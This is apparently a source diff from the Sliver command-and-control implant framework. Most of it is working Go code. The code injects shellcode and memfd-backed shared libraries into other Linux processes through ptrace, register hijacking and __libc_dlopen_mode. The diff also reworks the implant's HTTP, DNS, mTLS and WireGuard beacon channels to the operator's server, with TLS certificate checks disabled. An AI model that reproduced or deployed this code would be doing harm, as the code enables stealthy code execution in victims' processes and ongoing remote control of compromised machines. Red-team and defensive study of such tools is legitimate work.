func allocateMap(pid int, size uint64, permissions int) (uint64, error) {
var (
res uint64
)
err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
backupData, err := readMem(pid, regs.Rip)
backupRip := regs.Rip
if err != nil {
// {{if .Config.Debug}}
log.Println("readMem:", err)
// {{end}}
return err
}
var syscallCall = []byte{0x0f, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // syscall asm instruction
err = writeMem(pid, regs.Rip, syscallCall)
if err != nil {
// {{if .Config.Debug}}
log.Println("writeMem failed:", err)
// {{end}}
return err
}
regs.Rax = syscall.SYS_MMAP
regs.Rdi = 0
regs.Rsi = size
regs.Rdx = uint64(permissions)
regs.R10 = syscall.MAP_ANONYMOUS | syscall.MAP_PRIVATE
regs.R8 = 0
regs.R9 = 0
err = syscall.PtraceSetRegs(pid, regs)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceSetRegs failed:", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set !")
// {{end}}
err = syscall.PtraceSingleStep(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceSingleStep failed:", err)
// {{end}}
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println(err)
// {{end}}
return err
}
err = syscall.PtraceSingleStep(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceSingleStep failed:", err)
// {{end}}
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
// {{if .Config.Debug}}
log.Println(err)
// {{end}}
return err
}
var newRegs = &syscall.PtraceRegs{}
err = syscall.PtraceGetRegs(pid, newRegs)
if err != nil {
// {{if .Config.Debug}}
log.Println("PtraceGetRegs failed:", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Got registers")
// {{end}}
res = newRegs.Rax
// {{if .Config.Debug}}
log.Printf("[*] New RIP at 0x%08x\n", newRegs.Rip)
log.Printf("[*] Allocated memory at 0x%08x\n", res)
// {{end}}
allMaps, err := ProcMaps(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
for _, m := range allMaps {
if res > uint64(m.StartAddr) && res < uint64(m.EndAddr) {
log.Printf("[*] Mapping in %s\n", m.Pathname)
break
}
}
// {{end}}
err = writeMem(pid, backupRip, backupData)
if err != nil {
// {{if .Config.Debug}}
log.Println("writeMem:", err)
// {{end}}
return err
}
return err
})
return res, err
}
func ptraceWait(pid int) (wpid int, status syscall.WaitStatus, err error) {
wpid, err = syscall.Wait4(pid, &status, syscall.WALL, nil)
if err != nil {
return 0, 0, err
}
// {{if .Config.Debug}}
log.Printf("wait: wpid=%5d, status=0x%06x\n", wpid, status)
// {{end}}
return wpid, status, nil
}
func getRegistersAndRestore(pid int, callback func(regs *syscall.PtraceRegs) error) error {
backup := syscall.PtraceRegs{}
err := syscall.PtraceGetRegs(pid, &backup)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] Old RIP at 0x%08x\n", backup.Rip)
// {{end}}
regs := backup
err = callback(&regs)
if err != nil {
return err
}
return syscall.PtraceSetRegs(pid, &backup)
}
func writeMem(pid int, addr uint64, data []byte) error {
c, err := syscall.PtracePokeData(pid, uintptr(addr), data)
if err == nil {
// {{if .Config.Debug}}
log.Printf("[*] Wrote %d bytes\n", c)
// {{end}}
}
return err
}
func readMem(pid int, addr uint64) ([]byte, error) {
res := make([]byte, 2048)
_, err := syscall.PtracePeekData(pid, uintptr(addr), res)
return res, err
}
func writeToMemFD(data []byte) (string, error) {
newFdName := "_"
fd, err := unix.MemfdCreate(newFdName, unix.MFD_ALLOW_SEALING)
if err != nil {
return "", err
}
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
err = ioutil.WriteFile(fdPath, data, 0755)
if err != nil {
return "", err
}
return fdPath, nil
}
func getProgName(pid int) (string, error) {
var progName string
data, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
if err != nil {
return "", err
}
for _, b := range data {
if b == 0x00 {
break
}
progName += string(b)
}
return progName, nil
}
// Make sure we're inside the target main module
// and not inside some shared library code
func findSweetSpot(pid int) error {
var module *ProcMap
progName, err := getProgName(pid)
if err != nil {
return err
}
regs := syscall.PtraceRegs{}
allMaps, err := ProcMaps(pid)
if err != nil {
return err
}
for _, m := range allMaps {
if strings.Contains(m.Pathname, progName) && m.Perms.Execute {
module = m
}
}
if module == nil {
return fmt.Errorf("can't find module")
}
for {
err := syscall.PtraceSingleStep(pid)
if err != nil {
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
err = syscall.PtraceGetRegs(pid, &regs)
if err != nil {
return err
}
if regs.Rip > uint64(module.StartAddr) && regs.Rip < uint64(module.EndAddr) {
break
}
}
return nil
}
func callDlopen(pid int, dataAddr uint64, dlopenAddr uint64) error {
err := getRegistersAndRestore(pid, func(regs *syscall.PtraceRegs) error {
// {{if .Config.Debug}}
allMaps, _ := ProcMaps(pid)
for _, m := range allMaps {
if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
log.Printf("[*] RIP in %s\n", m.Pathname)
break
}
}
// {{end}}
inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
// Backup stuff
backupData, err := readMem(pid, regs.Rip)
backupRip := regs.Rip
if err != nil {
// {{if .Config.Debug}}
log.Println("readMem:", err)
// {{end}}
return err
}
regs.Rax = dlopenAddr
regs.Rdi = dataAddr
regs.Rsi = 2 // RTLD_NOW
err = syscall.PtraceSetRegs(pid, regs)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set!")
// {{end}}
err = writeMem(pid, regs.Rip, inject)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed:", err)
// {{end}}
return err
}
err = syscall.PtraceCont(pid, 0)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] PtraceCont failed:", err)
// {{end}}
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Println("[*] Got to breakpoint")
// {{end}}
err = writeMem(pid, backupRip, backupData)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed!")
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Restored old code")
// {{end}}
return err
})
return err
}
func callDlopenNoRet(pid int, dataAddr uint64, dlopenAddr uint64) error {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, &regs)
if err != nil {
return err
}
// {{if .Config.Debug}}
allMaps, _ := ProcMaps(pid)
for _, m := range allMaps {
if regs.Rip > uint64(m.StartAddr) && regs.Rip < uint64(m.EndAddr) {
log.Printf("[*] RIP in %s\n", m.Pathname)
break
}
}
// {{end}}
inject := []byte{0xff, 0xd0, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
regs.Rax = dlopenAddr
regs.Rdi = dataAddr
regs.Rsi = 2 // RTLD_NOW
err = syscall.PtraceSetRegs(pid, &regs)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set!")
// {{end}}
err = writeMem(pid, regs.Rip, inject)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed:", err)
// {{end}}
return err
}
return err
}
func callShellcode(pid int, addr uint64) error {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, &regs)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] Old RIP at 0x%08x\n", regs.Rip)
// {{end}}
inject := []byte{0xff, 0xd0, 0xcc, 0x00, 0x00, 0x00, 0x00, 0x00} // call rax; int3
regs.Rax = addr
err = syscall.PtraceSetRegs(pid, &regs)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[!] PtraceSetRegs failed: %v\n", err)
// {{end}}
return err
}
// {{if .Config.Debug}}
log.Println("[*] Registers set!")
// {{end}}
err = writeMem(pid, regs.Rip, inject)
if err != nil {
// {{if .Config.Debug}}
log.Println("[!] writeMem failed:", err)
// {{end}}
return err
}
return err
}
// remoteTask injects and run a shellcode in the remote process
func remoteTask(data []byte, pid int) error {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Attach to process
err := syscall.PtraceAttach(pid)
if err != nil {
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Println("[*] Attached to", pid)
// {{end}}
perms := syscall.PROT_EXEC | syscall.PROT_READ | syscall.PROT_WRITE
addr, err := allocateMap(pid, uint64(len(data)), perms)
if err != nil {
return err
}
err = findSweetSpot(pid)
if err != nil {
return err
}
err = writeMem(pid, addr, data)
if err != nil {
return err
}
err = callShellcode(pid, addr)
if err != nil {
return err
}
err = syscall.PtraceDetach(pid)
if err != nil {
return err
}
return nil
}
// libraryTask injects a shared library in the process
// designated by pid
func libraryTask(data []byte, pid int) error {
procMaps, err := ProcMaps(pid)
if err != nil {
return err
}
var libcMap *ProcMap
for _, m := range procMaps {
if m.Offset == 0 &&
m.Perms.Read &&
!m.Perms.Execute &&
!m.Perms.Write &&
!m.Perms.Shared &&
strings.Contains(m.Pathname, "/usr/lib64/libc-") {
libcMap = m
}
}
dlopenOffset, err := getSymbolOffset("__libc_dlopen_mode", libcMap.Pathname)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] __libc_dlopen_mode offset in %s is at 0x%08x\n", libcMap.Pathname, dlopenOffset)
// {{end}}
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Attach to process
err = syscall.PtraceAttach(pid)
if err != nil {
return err
}
_, _, err = ptraceWait(pid)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Println("[*] Attached to", pid)
// {{end}}
perms := syscall.PROT_READ | syscall.PROT_WRITE
addr, err := allocateMap(pid, 8192, perms)
if err != nil {
return err
}
err = findSweetSpot(pid)
if err != nil {
return err
}
memfd, err := writeToMemFD(data)
if err != nil {
return err
}
memfdBytes := []byte(memfd)
memfdBytes = append(memfdBytes, 0x00)
err = writeMem(pid, addr, memfdBytes)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[*] Wrote %d bytes (%s) to 0x%08x\n", len(memfdBytes), memfd, addr)
log.Printf("[*] Libc is at 0x%08x, dlopen is at 0x%08x\n", libcMap.StartAddr, uint64(libcMap.StartAddr)+dlopenOffset)
// {{end}}
err = callDlopenNoRet(pid, addr, uint64(libcMap.StartAddr)+dlopenOffset)
if err != nil {
return err
}
err = syscall.PtraceDetach(pid)
if err != nil {
return err
}
return nil
}
+210
View File
@@ -0,0 +1,210 @@
// Copyright 2019 The Prometheus Authors
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris
// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
package taskrunner
import (
"bufio"
"fmt"
"os"
"strconv"
"strings"
"golang.org/x/sys/unix"
)
// ProcMapPermissions contains permission settings read from /proc/[pid]/maps
type ProcMapPermissions struct {
// mapping has the [R]ead flag set
Read bool
// mapping has the [W]rite flag set
Write bool
// mapping has the [X]ecutable flag set
Execute bool
// mapping has the [S]hared flag set
Shared bool
// mapping is marked as [P]rivate (copy on write)
Private bool
}
// ProcMap contains the process memory-mappings of the process,
// read from /proc/[pid]/maps
type ProcMap struct {
// The start address of current mapping.
StartAddr uintptr
// The end address of the current mapping
EndAddr uintptr
// The permissions for this mapping
Perms *ProcMapPermissions
// The current offset into the file/fd (e.g., shared libs)
Offset int64
// Device owner of this mapping (major:minor) in Mkdev format.
Dev uint64
// The inode of the device above
Inode uint64
// The file or psuedofile (or empty==anonymous)
Pathname string
}
// parseDevice parses the device token of a line and converts it to a dev_t
// (mkdev) like structure.
func parseDevice(s string) (uint64, error) {
toks := strings.Split(s, ":")
if len(toks) < 2 {
return 0, fmt.Errorf("unexpected number of fields")
}
major, err := strconv.ParseUint(toks[0], 16, 0)
if err != nil {
return 0, err
}
minor, err := strconv.ParseUint(toks[1], 16, 0)
if err != nil {
return 0, err
}
return unix.Mkdev(uint32(major), uint32(minor)), nil
}
// parseAddress just converts a hex-string to a uintptr
func parseAddress(s string) (uintptr, error) {
a, err := strconv.ParseUint(s, 16, 0)
if err != nil {
return 0, err
}
return uintptr(a), nil
}
// parseAddresses parses the start-end address
func parseAddresses(s string) (uintptr, uintptr, error) {
toks := strings.Split(s, "-")
if len(toks) < 2 {
return 0, 0, fmt.Errorf("invalid address")
}
saddr, err := parseAddress(toks[0])
if err != nil {
return 0, 0, err
}
eaddr, err := parseAddress(toks[1])
if err != nil {
return 0, 0, err
}
return saddr, eaddr, nil
}
// parsePermissions parses a token and returns any that are set.
func parsePermissions(s string) (*ProcMapPermissions, error) {
if len(s) < 4 {
return nil, fmt.Errorf("invalid permissions token")
}
perms := ProcMapPermissions{}
for _, ch := range s {
switch ch {
case 'r':
perms.Read = true
case 'w':
perms.Write = true
case 'x':
perms.Execute = true
case 'p':
perms.Private = true
case 's':
perms.Shared = true
}
}
return &perms, nil
}
// parseProcMap will attempt to parse a single line within a proc/[pid]/maps
// buffer.
func parseProcMap(text string) (*ProcMap, error) {
fields := strings.Fields(text)
if len(fields) < 5 {
return nil, fmt.Errorf("truncated procmap entry")
}
saddr, eaddr, err := parseAddresses(fields[0])
if err != nil {
return nil, err
}
perms, err := parsePermissions(fields[1])
if err != nil {
return nil, err
}
offset, err := strconv.ParseInt(fields[2], 16, 0)
if err != nil {
return nil, err
}
device, err := parseDevice(fields[3])
if err != nil {
return nil, err
}
inode, err := strconv.ParseUint(fields[4], 10, 0)
if err != nil {
return nil, err
}
pathname := ""
if len(fields) >= 5 {
pathname = strings.Join(fields[5:], " ")
}
return &ProcMap{
StartAddr: saddr,
EndAddr: eaddr,
Perms: perms,
Offset: offset,
Dev: device,
Inode: inode,
Pathname: pathname,
}, nil
}
// ProcMaps reads from /proc/[pid]/maps to get the memory-mappings of the
// process.
func ProcMaps(pid int) ([]*ProcMap, error) {
file, err := os.Open(fmt.Sprintf("/proc/%d/maps", pid))
if err != nil {
return nil, err
}
defer file.Close()
maps := []*ProcMap{}
scan := bufio.NewScanner(file)
for scan.Scan() {
m, err := parseProcMap(scan.Text())
if err != nil {
return nil, err
}
maps = append(maps, m)
}
return maps, nil
}
+12 -16
View File
@@ -29,6 +29,7 @@ import (
"syscall"
"unsafe"
"golang.org/x/sys/unix"
//{{if .Config.Debug}}
"log"
//{{end}}
@@ -50,33 +51,23 @@ func LocalTask(data []byte, rwxPages bool) error {
return nil
}
// RemoteTask -
// RemoteTask - injects a shellcode into a remote process
func RemoteTask(processID int, data []byte, rwxPages bool) error {
return nil
return remoteTask(data, processID)
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
var (
nrMemfdCreate int
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
)
memfdName := randomString(8)
memfd, err := syscall.BytePtrFromString(memfdName)
fd, err := unix.MemfdCreate(memfdName, unix.MFD_ALLOW_SEALING)
if err != nil {
//{{if .Config.Debug}}
log.Printf("Error during conversion: %s\n", err)
//{{end}}
return "", err
}
if runtime.GOARCH == "386" {
nrMemfdCreate = 356
} else {
nrMemfdCreate = 319
}
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
pid := os.Getpid()
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
err = ioutil.WriteFile(fdPath, data, 0755)
@@ -115,3 +106,8 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
//{{end}}
return stdOut.String(), nil
}
// LibTask - injects a shared object into a remote process
func LibTask(processID int, data []byte) error {
return libraryTask(data, processID)
}
+35 -7
View File
@@ -58,17 +58,21 @@ import (
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
type BeaconInit func() error
type BeaconStart func() error
type BeaconRecv func() (*pb.Envelope, error)
type BeaconSend func(*pb.Envelope) error
type BeaconClose func() error
type BeaconCleanup func() error
// Beacon - Abstract connection to the server
type Beacon struct {
Start BeaconStart
Send BeaconSend
Recv BeaconRecv
Close BeaconClose
Init BeaconInit
Start BeaconStart
Send BeaconSend
Recv BeaconRecv
Close BeaconClose
Cleanup BeaconCleanup
}
// Interval - Interval between beacons
@@ -190,6 +194,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
var conn *tls.Conn
beacon := &Beacon{
Init: func() error {
return nil
},
Start: func() error {
conn, err = mtls.MtlsConnect(uri.Hostname(), uint16(lport))
if err != nil {
@@ -211,6 +218,9 @@ func mtlsBeacon(uri *url.URL) *Beacon {
conn = nil
return nil
},
Cleanup: func() error {
return nil
},
}
return beacon
@@ -231,6 +241,9 @@ func wgBeacon(uri *url.URL) *Beacon {
var conn net.Conn
var dev *device.Device
beacon := &Beacon{
Init: func() error {
return nil
},
Start: func() error {
addrs, err := net.LookupHost(uri.Hostname())
if err != nil {
@@ -265,6 +278,9 @@ func wgBeacon(uri *url.URL) *Beacon {
dev = nil
return nil
},
Cleanup: func() error {
return nil
},
}
return beacon
}
@@ -281,7 +297,7 @@ func httpBeacon(uri *url.URL) *Beacon {
var client *httpclient.SliverHTTPClient
var err error
beacon := &Beacon{
Start: func() error {
Init: func() error {
opts := httpclient.ParseHTTPOptions(uri)
client, err = httpclient.HTTPStartSession(uri.Host, uri.Path, opts)
if err != nil {
@@ -293,6 +309,9 @@ func httpBeacon(uri *url.URL) *Beacon {
proxyURL = client.ProxyURL
return nil
},
Start: func() error {
return nil
},
Recv: func() (*pb.Envelope, error) {
return client.ReadEnvelope()
},
@@ -300,6 +319,9 @@ func httpBeacon(uri *url.URL) *Beacon {
return client.WriteEnvelope(envelope)
},
Close: func() error {
return nil
},
Cleanup: func() error {
return client.CloseSession()
},
}
@@ -314,17 +336,20 @@ func dnsBeacon(uri *url.URL) *Beacon {
var client *dnsclient.SliverDNSClient
var err error
beacon := &Beacon{
Start: func() error {
Init: func() error {
opts := dnsclient.ParseDNSOptions(uri)
client, err = dnsclient.DNSStartSession(uri.Host, opts)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[beacon] http(s) connection error %s", err)
log.Printf("[beacon] dns connection error %s", err)
// {{end}}
return err
}
return nil
},
Start: func() error {
return nil
},
Recv: func() (*pb.Envelope, error) {
return client.ReadEnvelope()
},
@@ -332,6 +357,9 @@ func dnsBeacon(uri *url.URL) *Beacon {
return client.WriteEnvelope(envelope)
},
Close: func() error {
return nil
},
Cleanup: func() error {
return client.CloseSession()
},
}
@@ -436,9 +436,6 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
if err != nil {
return nil, err
}
if len(respData) < 1 {
return nil, nil // No pending envelopes
}
dnsMsg := &dnspb.DNSMessage{}
err = proto.Unmarshal(respData, dnsMsg)
@@ -448,6 +445,9 @@ func (s *SliverDNSClient) ReadEnvelope() (*pb.Envelope, error) {
if dnsMsg.Type != dnspb.DNSMessageType_MANIFEST {
return nil, ErrInvalidResponse
}
if dnsMsg.Size == 0 {
return nil, nil
}
ciphertext, err := s.parallelRecv(dnsMsg)
if err != nil {
return nil, err
@@ -21,6 +21,7 @@ package dnsclient
import (
"crypto/rand"
"encoding/binary"
"errors"
"strings"
"time"
@@ -32,6 +33,11 @@ import (
"github.com/miekg/dns"
)
var (
// ErrInvalidRcode - Returned when the response code is not a success
ErrInvalidRcode = errors.New("invalid rcode")
)
// NewGenericResolver - Instantiate a new generic resolver
func NewGenericResolver(address string, port string, retryWait time.Duration, retries int, timeout time.Duration) DNSResolver {
if retries < 1 {
@@ -91,7 +97,7 @@ func (r *GenericResolver) a(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] error response status: %v", resp.Rcode)
// {{end}}
return nil, rtt, err
return nil, rtt, ErrInvalidRcode
}
records := []byte{}
for _, answer := range resp.Answer {
@@ -132,7 +138,7 @@ func (r *GenericResolver) txt(domain string) ([]byte, time.Duration, error) {
// {{if .Config.Debug}}
log.Printf("[dns] error response status: %v", resp.Rcode)
// {{end}}
return nil, rtt, err
return nil, rtt, ErrInvalidRcode
}
records := ""
@@ -61,6 +61,8 @@ var (
// HTTPOptions - c2 specific configuration options
type HTTPOptions struct {
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
ProxyConfig string
@@ -70,6 +72,20 @@ type HTTPOptions struct {
// ParseHTTPOptions - Parse c2 specific configuration options
func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
netTimeout, err := time.ParseDuration(c2URI.Query().Get("net-timeout"))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse poll-timeout %s", err)
// {{end}}
netTimeout = time.Duration(30 * time.Second)
}
tlsTimeout, err := time.ParseDuration(c2URI.Query().Get("tls-timeout"))
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to parse poll-timeout %s", err)
// {{end}}
tlsTimeout = time.Duration(30 * time.Second)
}
pollTimeout, err := time.ParseDuration(c2URI.Query().Get("poll-timeout"))
if err != nil {
// {{if .Config.Debug}}
@@ -78,7 +94,10 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
pollTimeout = time.Duration(30 * time.Second)
}
return &HTTPOptions{
PollTimeout: pollTimeout,
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
ProxyPassword: c2URI.Query().Get("proxy-password"),
@@ -88,7 +107,8 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
client = httpsClient(address, opts.PollTimeout, opts.ProxyConfig)
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.PathPrefix = pathPrefix
err := client.SessionInit()
if err != nil {
@@ -96,7 +116,7 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, opts.PollTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
err = client.SessionInit()
if err != nil {
return nil, err
@@ -107,15 +127,16 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
// SliverHTTPClient - Helper struct to keep everything together
type SliverHTTPClient struct {
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollTimeout time.Duration
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
}
// SessionInit - Initialize the session
@@ -183,30 +204,50 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
}
// Do - Wraps http.Client.Do with a context
func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, error) {
func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, error) {
// NOTE: We must atomically manage the context
s.pollMutex.Lock()
ctx, cancel := context.WithCancel(req.Context())
s.pollCancel = cancel
defer func() {
s.pollMutex.Lock()
defer s.pollMutex.Unlock()
if s.pollCancel != nil {
// {{if .Config.Debug}}
log.Printf("Cancelling poll context")
// {{end}}
s.pollCancel()
}
s.pollCancel = nil
s.pollMutex.Unlock()
}()
done := make(chan error)
var resp *http.Response
var data []byte
var err error
go func() {
resp, err = s.Client.Do(req.WithContext(ctx))
select {
case <-ctx.Done():
done <- ctx.Err()
case <-time.After(s.pollTimeout):
// {{if .Config.Debug}}
log.Printf("[http] poll timeout error!")
// {{end}}
done <- http.ErrHandlerTimeout
default:
if err == nil && resp != nil {
data, err = ioutil.ReadAll(resp.Body)
defer resp.Body.Close()
}
// {{if .Config.Debug}}
if err != nil {
log.Printf("[http] poll failed to read all response: %s", err)
}
// {{end}}
done <- err
}
}()
return resp, <-done
return resp, data, <-done
}
// We do our own POST here because the server doesn't have the
@@ -238,7 +279,13 @@ func (s *SliverHTTPClient) establishSessionID(sessionInit []byte) error {
// {{end}}
return errors.New("send failed")
}
respData, _ := ioutil.ReadAll(resp.Body)
respData, err := ioutil.ReadAll(resp.Body)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[http] response read error: %s", err)
// {{end}}
return err
}
defer resp.Body.Close()
data, err := encoder.Decode(respData)
if err != nil {
@@ -276,7 +323,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
resp, err := s.DoPoll(req)
resp, rawRespData, err := s.DoPoll(req)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[http] GET failed %v", err)
@@ -293,24 +340,22 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
return nil, nil
}
if resp.StatusCode == http.StatusOK {
var data []byte
respData, _ := ioutil.ReadAll(resp.Body)
defer resp.Body.Close()
if 0 < len(respData) {
data, err = encoder.Decode(respData)
var body []byte
if 0 < len(rawRespData) {
body, err = encoder.Decode(rawRespData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Decoding failed %s", err)
log.Printf("[http] Decoding failed %s", err)
// {{end}}
return nil, err
}
}
data, err := s.SessionCtx.Decrypt(data)
plaintext, err := s.SessionCtx.Decrypt(body)
if err != nil {
return nil, err
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(data, envelope)
err = proto.Unmarshal(plaintext, envelope)
if err != nil {
return nil, err
}
@@ -370,7 +415,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
// {{if .Config.Debug}}
log.Printf("[http] non-202 response (%d): %v", resp.StatusCode, resp)
// {{end}}
return errors.New("{{if .Config.Debug}}HTTP send failed (non-200 resp){{end}}")
return ErrStatusCodeUnexpected
}
return nil
}
@@ -510,17 +555,17 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
// [ HTTP(S) Clients ] ------------------------------------------------------------
func httpClient(address string, timeout time.Duration, proxyConfig string) *SliverHTTPClient {
func httpClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: proxy.Direct.Dial,
TLSHandshakeTimeout: timeout,
TLSHandshakeTimeout: tlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
client := &SliverHTTPClient{
Origin: fmt.Sprintf("http://%s", address),
Client: &http.Client{
Jar: cookieJar(),
Timeout: timeout,
Timeout: netTimeout,
Transport: transport,
},
pollMutex: &sync.Mutex{},
@@ -530,19 +575,19 @@ func httpClient(address string, timeout time.Duration, proxyConfig string) *Sliv
return client
}
func httpsClient(address string, timeout time.Duration, proxyConfig string) *SliverHTTPClient {
func httpsClient(address string, netTimeout time.Duration, tlsTimeout time.Duration, proxyConfig string) *SliverHTTPClient {
transport := &http.Transport{
Dial: (&net.Dialer{
Timeout: timeout,
Timeout: netTimeout,
}).Dial,
TLSHandshakeTimeout: timeout,
TLSHandshakeTimeout: tlsTimeout,
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // We don't care about the HTTP(S) layer certs
}
client := &SliverHTTPClient{
Origin: fmt.Sprintf("https://%s", address),
Client: &http.Client{
Jar: cookieJar(),
Timeout: timeout,
Timeout: netTimeout,
Transport: transport,
},
pollMutex: &sync.Mutex{},
File diff suppressed because it is too large. Load diff
-1
View File
@@ -41,7 +41,6 @@ message Session {
bool IsDead = 18;
int64 ReconnectInterval = 19;
string ProxyURL = 20;
int64 PollTimeout = 21;
bool Burned = 22;
repeated string Extensions = 23;
// string ConfigID = 24;
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: commonpb/common.proto
package commonpb
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: dnspb/dns.proto
package dnspb
+314 -306
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.15.8
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
